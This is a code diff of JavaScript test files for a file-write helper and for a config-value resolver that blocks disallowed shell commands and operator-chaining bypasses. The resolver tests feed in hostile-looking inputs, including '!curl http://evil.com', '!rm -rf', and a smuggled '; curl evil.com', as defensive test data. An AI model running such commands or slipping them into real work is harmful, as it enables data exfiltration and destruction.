|
|
17
12
|
}
|
|
18
13
|
});
|
|
14
|
+
it("writes file content atomically", () => {
|
|
15
|
+
dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
|
|
16
|
+
const filePath = join(dir, "test.txt");
|
|
17
|
+
atomicWriteFileSync(filePath, "hello world");
|
|
18
|
+
assert.equal(readFileSync(filePath, "utf-8"), "hello world");
|
|
19
|
+
});
|
|
19
20
|
it("overwrites existing file atomically", () => {
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
assert.equal(readFileSync(filePath, "utf-8"), "second");
|
|
26
|
-
}
|
|
27
|
-
finally {
|
|
28
|
-
rmSync(dir, { recursive: true, force: true });
|
|
29
|
-
}
|
|
21
|
+
dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
|
|
22
|
+
const filePath = join(dir, "test.txt");
|
|
23
|
+
atomicWriteFileSync(filePath, "first");
|
|
24
|
+
atomicWriteFileSync(filePath, "second");
|
|
25
|
+
assert.equal(readFileSync(filePath, "utf-8"), "second");
|
|
30
26
|
});
|
|
31
27
|
it("does not leave .tmp file after successful write", () => {
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
assert.equal(existsSync(filePath + ".tmp"), false);
|
|
37
|
-
}
|
|
38
|
-
finally {
|
|
39
|
-
rmSync(dir, { recursive: true, force: true });
|
|
40
|
-
}
|
|
28
|
+
dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
|
|
29
|
+
const filePath = join(dir, "test.txt");
|
|
30
|
+
atomicWriteFileSync(filePath, "content");
|
|
31
|
+
assert.equal(existsSync(filePath + ".tmp"), false);
|
|
41
32
|
});
|
|
42
33
|
it("supports Buffer content", () => {
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
assert.deepEqual(result, buf);
|
|
50
|
-
}
|
|
51
|
-
finally {
|
|
52
|
-
rmSync(dir, { recursive: true, force: true });
|
|
53
|
-
}
|
|
34
|
+
dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
|
|
35
|
+
const filePath = join(dir, "test.bin");
|
|
36
|
+
const buf = Buffer.from([0x00, 0x01, 0x02, 0xff]);
|
|
37
|
+
atomicWriteFileSync(filePath, buf);
|
|
38
|
+
const result = readFileSync(filePath);
|
|
39
|
+
assert.deepEqual(result, buf);
|
|
54
40
|
});
|
|
55
41
|
it("supports encoding parameter", () => {
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
assert.equal(readFileSync(filePath, "utf-8"), "utf8 content");
|
|
61
|
-
}
|
|
62
|
-
finally {
|
|
63
|
-
rmSync(dir, { recursive: true, force: true });
|
|
64
|
-
}
|
|
42
|
+
dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
|
|
43
|
+
const filePath = join(dir, "test.txt");
|
|
44
|
+
atomicWriteFileSync(filePath, "utf8 content", "utf-8");
|
|
45
|
+
assert.equal(readFileSync(filePath, "utf-8"), "utf8 content");
|
|
65
46
|
});
|
|
66
47
|
});
|
|
67
48
|
//# sourceMappingURL=fs-utils.test.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"fs-utils.test.js","sourceRoot":"","sources":["../../src/core/fs-utils.test.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,oBAAoB,CAAC;AACxC,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,WAAW,CAAC;
|
|
1
|
+
{"version":3,"file":"fs-utils.test.js","sourceRoot":"","sources":["../../src/core/fs-utils.test.ts"],"names":[],"mappings":"AAAA,OAAO,MAAM,MAAM,oBAAoB,CAAC;AACxC,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,SAAS,EAAE,MAAM,WAAW,CAAC;AACpD,OAAO,EAAE,WAAW,EAAE,YAAY,EAAE,MAAM,EAAE,UAAU,EAAE,MAAM,SAAS,CAAC;AACxE,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AACjC,OAAO,EAAE,mBAAmB,EAAE,MAAM,eAAe,CAAC;AAEpD,QAAQ,CAAC,qBAAqB,EAAE,GAAG,EAAE;IACpC,IAAI,GAAW,CAAC;IAEhB,SAAS,CAAC,GAAG,EAAE;QACd,IAAI,GAAG,EAAE,CAAC;YACT,MAAM,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,CAAC,CAAC;QAC/C,CAAC;IACF,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,gCAAgC,EAAE,GAAG,EAAE;QACzC,GAAG,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,gBAAgB,CAAC,CAAC,CAAC;QACpD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,UAAU,CAAC,CAAC;QACvC,mBAAmB,CAAC,QAAQ,EAAE,aAAa,CAAC,CAAC;QAC7C,MAAM,CAAC,KAAK,CAAC,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,EAAE,aAAa,CAAC,CAAC;IAC9D,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,qCAAqC,EAAE,GAAG,EAAE;QAC9C,GAAG,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,gBAAgB,CAAC,CAAC,CAAC;QACpD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,UAAU,CAAC,CAAC;QACvC,mBAAmB,CAAC,QAAQ,EAAE,OAAO,CAAC,CAAC;QACvC,mBAAmB,CAAC,QAAQ,EAAE,QAAQ,CAAC,CAAC;QACxC,MAAM,CAAC,KAAK,CAAC,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,EAAE,QAAQ,CAAC,CAAC;IACzD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,iDAAiD,EAAE,GAAG,EAAE;QAC1D,GAAG,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,gBAAgB,CAAC,CAAC,CAAC;QACpD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,UAAU,CAAC,CAAC;QACvC,mBAAmB,CAAC,QAAQ,EAAE,SAAS,CAAC,CAAC;QACzC,MAAM,CAAC,KAAK,CAAC,UAAU,CAAC,QAAQ,GAAG,MAAM,CAAC,EAAE,KAAK,CAAC,CAAC;IACpD,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,yBAAyB,EAAE,GAAG,EAAE;QAClC,GAAG,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,gBAAgB,CAAC,CAAC,CAAC;QACpD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,UAAU,CAAC,CAAC;QACvC,MAAM,GAAG,GAAG,MAAM,CAAC,IAAI,CAAC,CAAC,IAAI,EAAE,IAAI,EAAE,IAAI,EAAE,IAAI,CAAC,CAAC,CAAC;QAClD,mBAAmB,CAAC,QAAQ,EAAE,GAAG,CAAC,CAAC;QACnC,MAAM,MAAM,GAAG,YAAY,CAAC,QAAQ,CAAC,CAAC;QACtC,MAAM,CAAC,SAAS,CAAC,MAAM,EAAE,GAAG,CAAC,CAAC;IAC/B,CAAC,CAAC,CAAC;IAEH,EAAE,CAAC,6BAA6B,EAAE,GAAG,EAAE;QACtC,GAAG,GAAG,WAAW,CAAC,IAAI,CAAC,MAAM,EAAE,EAAE,gBAAgB,CAAC,CAAC,CAAC;QACpD,MAAM,QAAQ,GAAG,IAAI,CAAC,GAAG,EAAE,UAAU,CAAC,CAAC;QACvC,mBAAmB,CAAC,QAAQ,EAAE,cAAc,EAAE,OAAO,CAAC,CAAC;QACvD,MAAM,CAAC,KAAK,CAAC,YAAY,CAAC,QAAQ,EAAE,OAAO,CAAC,EAAE,cAAc,CAAC,CAAC;IAC/D,CAAC,CAAC,CAAC;AACJ,CAAC,CAAC,CAAC","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, afterEach } from \"node:test\";\nimport { mkdtempSync, readFileSync, rmSync, existsSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\nimport { atomicWriteFileSync } from \"./fs-utils.js\";\n\ndescribe(\"atomicWriteFileSync\", () => {\n\tlet dir: string;\n\n\tafterEach(() => {\n\t\tif (dir) {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n\n\tit(\"writes file content atomically\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"fs-utils-test-\"));\n\t\tconst filePath = join(dir, \"test.txt\");\n\t\tatomicWriteFileSync(filePath, \"hello world\");\n\t\tassert.equal(readFileSync(filePath, \"utf-8\"), \"hello world\");\n\t});\n\n\tit(\"overwrites existing file atomically\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"fs-utils-test-\"));\n\t\tconst filePath = join(dir, \"test.txt\");\n\t\tatomicWriteFileSync(filePath, \"first\");\n\t\tatomicWriteFileSync(filePath, \"second\");\n\t\tassert.equal(readFileSync(filePath, \"utf-8\"), \"second\");\n\t});\n\n\tit(\"does not leave .tmp file after successful write\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"fs-utils-test-\"));\n\t\tconst filePath = join(dir, \"test.txt\");\n\t\tatomicWriteFileSync(filePath, \"content\");\n\t\tassert.equal(existsSync(filePath + \".tmp\"), false);\n\t});\n\n\tit(\"supports Buffer content\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"fs-utils-test-\"));\n\t\tconst filePath = join(dir, \"test.bin\");\n\t\tconst buf = Buffer.from([0x00, 0x01, 0x02, 0xff]);\n\t\tatomicWriteFileSync(filePath, buf);\n\t\tconst result = readFileSync(filePath);\n\t\tassert.deepEqual(result, buf);\n\t});\n\n\tit(\"supports encoding parameter\", () => {\n\t\tdir = mkdtempSync(join(tmpdir(), \"fs-utils-test-\"));\n\t\tconst filePath = join(dir, \"test.txt\");\n\t\tatomicWriteFileSync(filePath, \"utf8 content\", \"utf-8\");\n\t\tassert.equal(readFileSync(filePath, \"utf-8\"), \"utf8 content\");\n\t});\n});\n"]}
|
|
@@ -28,21 +28,19 @@ describe("resolveConfigValue — non-command values", () => {
|
|
|
28
28
|
});
|
|
29
29
|
});
|
|
30
30
|
describe("resolveConfigValue — command allowlist enforcement", () => {
|
|
31
|
-
it("blocks a disallowed command and returns undefined", () => {
|
|
31
|
+
it("blocks a disallowed command and returns undefined", (t) => {
|
|
32
32
|
const stderrChunks = [];
|
|
33
33
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
34
34
|
process.stderr.write = (chunk, ...args) => {
|
|
35
35
|
stderrChunks.push(chunk.toString());
|
|
36
36
|
return true;
|
|
37
37
|
};
|
|
38
|
-
|
|
39
|
-
const result = resolveConfigValue("!curl http://evil.com");
|
|
40
|
-
assert.equal(result, undefined);
|
|
41
|
-
assert.ok(stderrChunks.some((line) => line.includes("curl")));
|
|
42
|
-
}
|
|
43
|
-
finally {
|
|
38
|
+
t.after(() => {
|
|
44
39
|
process.stderr.write = originalWrite;
|
|
45
|
-
}
|
|
40
|
+
});
|
|
41
|
+
const result = resolveConfigValue("!curl http://evil.com");
|
|
42
|
+
assert.equal(result, undefined);
|
|
43
|
+
assert.ok(stderrChunks.some((line) => line.includes("curl")));
|
|
46
44
|
});
|
|
47
45
|
it("blocks another disallowed command (rm)", () => {
|
|
48
46
|
const result = resolveConfigValue("!rm -rf /tmp/test");
|
|
@@ -52,7 +50,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
|
|
|
52
50
|
const result = resolveConfigValue("!wget");
|
|
53
51
|
assert.equal(result, undefined);
|
|
54
52
|
});
|
|
55
|
-
it("allows a safe command prefix to proceed to execution", () => {
|
|
53
|
+
it("allows a safe command prefix to proceed to execution", (t) => {
|
|
56
54
|
// `pass` is unlikely to be installed in CI, so we just verify it does NOT
|
|
57
55
|
// return undefined due to the allowlist check — it may return undefined if
|
|
58
56
|
// the binary is absent, but the block path must not be taken.
|
|
@@ -63,14 +61,12 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
|
|
|
63
61
|
stderrChunks.push(chunk.toString());
|
|
64
62
|
return true;
|
|
65
63
|
};
|
|
66
|
-
|
|
67
|
-
resolveConfigValue("!pass show nonexistent-entry-for-test");
|
|
68
|
-
const blocked = stderrChunks.some((line) => line.includes("Blocked disallowed command"));
|
|
69
|
-
assert.equal(blocked, false, "pass should not be blocked by the allowlist");
|
|
70
|
-
}
|
|
71
|
-
finally {
|
|
64
|
+
t.after(() => {
|
|
72
65
|
process.stderr.write = originalWrite;
|
|
73
|
-
}
|
|
66
|
+
});
|
|
67
|
+
resolveConfigValue("!pass show nonexistent-entry-for-test");
|
|
68
|
+
const blocked = stderrChunks.some((line) => line.includes("Blocked disallowed command"));
|
|
69
|
+
assert.equal(blocked, false, "pass should not be blocked by the allowlist");
|
|
74
70
|
});
|
|
75
71
|
});
|
|
76
72
|
describe("resolveConfigValue — shell operator bypass prevention", () => {
|
|
@@ -106,58 +102,52 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
|
|
|
106
102
|
const result = resolveConfigValue("!pass show key < /dev/null");
|
|
107
103
|
assert.equal(result, undefined);
|
|
108
104
|
});
|
|
109
|
-
it("writes stderr warning when shell operators detected", () => {
|
|
105
|
+
it("writes stderr warning when shell operators detected", (t) => {
|
|
110
106
|
const stderrChunks = [];
|
|
111
107
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
112
108
|
process.stderr.write = (chunk, ...args) => {
|
|
113
109
|
stderrChunks.push(chunk.toString());
|
|
114
110
|
return true;
|
|
115
111
|
};
|
|
116
|
-
|
|
117
|
-
resolveConfigValue("!pass show key; curl evil.com");
|
|
118
|
-
assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
|
|
119
|
-
}
|
|
120
|
-
finally {
|
|
112
|
+
t.after(() => {
|
|
121
113
|
process.stderr.write = originalWrite;
|
|
122
|
-
}
|
|
114
|
+
});
|
|
115
|
+
resolveConfigValue("!pass show key; curl evil.com");
|
|
116
|
+
assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
|
|
123
117
|
});
|
|
124
118
|
});
|
|
125
119
|
describe("resolveConfigValue — caching", () => {
|
|
126
|
-
it("caches the result of a blocked command", () => {
|
|
120
|
+
it("caches the result of a blocked command", (t) => {
|
|
127
121
|
const callCount = { n: 0 };
|
|
128
122
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
129
123
|
process.stderr.write = (chunk, ...args) => {
|
|
130
124
|
callCount.n++;
|
|
131
125
|
return true;
|
|
132
126
|
};
|
|
133
|
-
|
|
134
|
-
resolveConfigValue("!curl http://evil.com");
|
|
135
|
-
resolveConfigValue("!curl http://evil.com");
|
|
136
|
-
// The block warning should only fire once; the second call hits the cache
|
|
137
|
-
// before reaching the allowlist check, so stderr count is 1.
|
|
138
|
-
assert.equal(callCount.n, 1);
|
|
139
|
-
}
|
|
140
|
-
finally {
|
|
127
|
+
t.after(() => {
|
|
141
128
|
process.stderr.write = originalWrite;
|
|
142
|
-
}
|
|
143
|
-
|
|
144
|
-
|
|
129
|
+
});
|
|
130
|
+
resolveConfigValue("!curl http://evil.com");
|
|
131
|
+
resolveConfigValue("!curl http://evil.com");
|
|
132
|
+
// The block warning should only fire once; the second call hits the cache
|
|
133
|
+
// before reaching the allowlist check, so stderr count is 1.
|
|
134
|
+
assert.equal(callCount.n, 1);
|
|
135
|
+
});
|
|
136
|
+
it("clearConfigValueCache resets cached entries", (t) => {
|
|
145
137
|
const stderrChunks = [];
|
|
146
138
|
const originalWrite = process.stderr.write.bind(process.stderr);
|
|
147
139
|
process.stderr.write = (chunk, ...args) => {
|
|
148
140
|
stderrChunks.push(chunk.toString());
|
|
149
141
|
return true;
|
|
150
142
|
};
|
|
151
|
-
|
|
152
|
-
resolveConfigValue("!curl http://evil.com");
|
|
153
|
-
assert.equal(stderrChunks.length, 1);
|
|
154
|
-
clearConfigValueCache();
|
|
155
|
-
resolveConfigValue("!curl http://evil.com");
|
|
156
|
-
assert.equal(stderrChunks.length, 2);
|
|
157
|
-
}
|
|
158
|
-
finally {
|
|
143
|
+
t.after(() => {
|
|
159
144
|
process.stderr.write = originalWrite;
|
|
160
|
-
}
|
|
145
|
+
});
|
|
146
|
+
resolveConfigValue("!curl http://evil.com");
|
|
147
|
+
assert.equal(stderrChunks.length, 1);
|
|
148
|
+
clearConfigValueCache();
|
|
149
|
+
resolveConfigValue("!curl http://evil.com");
|
|
150
|
+
assert.equal(stderrChunks.length, 2);
|
|
161
151
|
});
|
|
162
152
|
});
|
|
163
153
|
//# sourceMappingURL=resolve-config-value.test.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"resolve-config-value.test.js","sourceRoot":"","sources":["../../src/core/resolve-config-value.test.ts"],"names":[],"mappings":"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","sourcesContent":["import { describe, it, beforeEach } from \"node:test\";\nimport assert from \"node:assert/strict\";\nimport {\n\tresolveConfigValue,\n\tclearConfigValueCache,\n\tSAFE_COMMAND_PREFIXES,\n} from \"./resolve-config-value.js\";\n\nbeforeEach(() => {\n\tclearConfigValueCache();\n});\n\ndescribe(\"SAFE_COMMAND_PREFIXES\", () => {\n\tit(\"exports the allowlist array\", () => {\n\t\tassert.ok(Array.isArray(SAFE_COMMAND_PREFIXES));\n\t\tassert.ok(SAFE_COMMAND_PREFIXES.length > 0);\n\t});\n\n\tit(\"includes expected credential tools\", () => 